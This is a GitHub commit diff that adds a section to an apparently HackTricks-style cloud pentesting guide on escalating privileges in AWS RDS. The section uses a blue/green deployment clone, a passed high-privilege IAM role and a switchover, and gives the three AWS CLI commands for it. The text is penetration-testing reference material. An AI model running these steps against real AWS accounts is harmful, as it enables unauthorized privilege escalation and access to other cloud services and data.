Skip to content

Commit 8ef4c15

Browse files
committed
rds-CreateBlueGreenDeployment_passrole privsc
1 parent ca809b9 commit 8ef4c15

1 file changed

Lines changed: 21 additions & 0 deletions

File tree

  • src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -166,6 +166,27 @@ aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-
166166

167167
**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
168168

169+
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
170+
171+
An attacker with these permissions can clone a production database (Blue), attach a high-privilege IAM role to the clone (Green), and then use switchover to replace the production environment. This allows the attacker to elevate the database's privileges and gain unauthorized access to other AWS resources.
172+
173+
```bash
174+
# Create a Green deployment (clone) of the production cluster
175+
aws rds create-blue-green-deployment \
176+
--blue-green-deployment-name <name> \
177+
--source <production-db-cluster-arn>
178+
179+
# Attach a high-privilege IAM role to the Green cluster
180+
aws rds add-role-to-db-cluster \
181+
--db-cluster-identifier <green-cluster-id> \
182+
--role-arn <high-privilege-iam-role-arn>
183+
184+
# Switch the Green environment to Production
185+
aws rds switchover-blue-green-deployment \
186+
--blue-green-deployment-identifier <deployment-id>
187+
```
188+
**Potential Impact**: Full takeover of the production database environment. After the switchover, the database operates with elevated privileges, allowing unauthorized access to other AWS services (e.g., S3, Lambda, Secrets Manager) from within the database.
189+
169190
{{#include ../../../../banners/hacktricks-training.md}}
170191

171192

0 commit comments

Comments
 (0)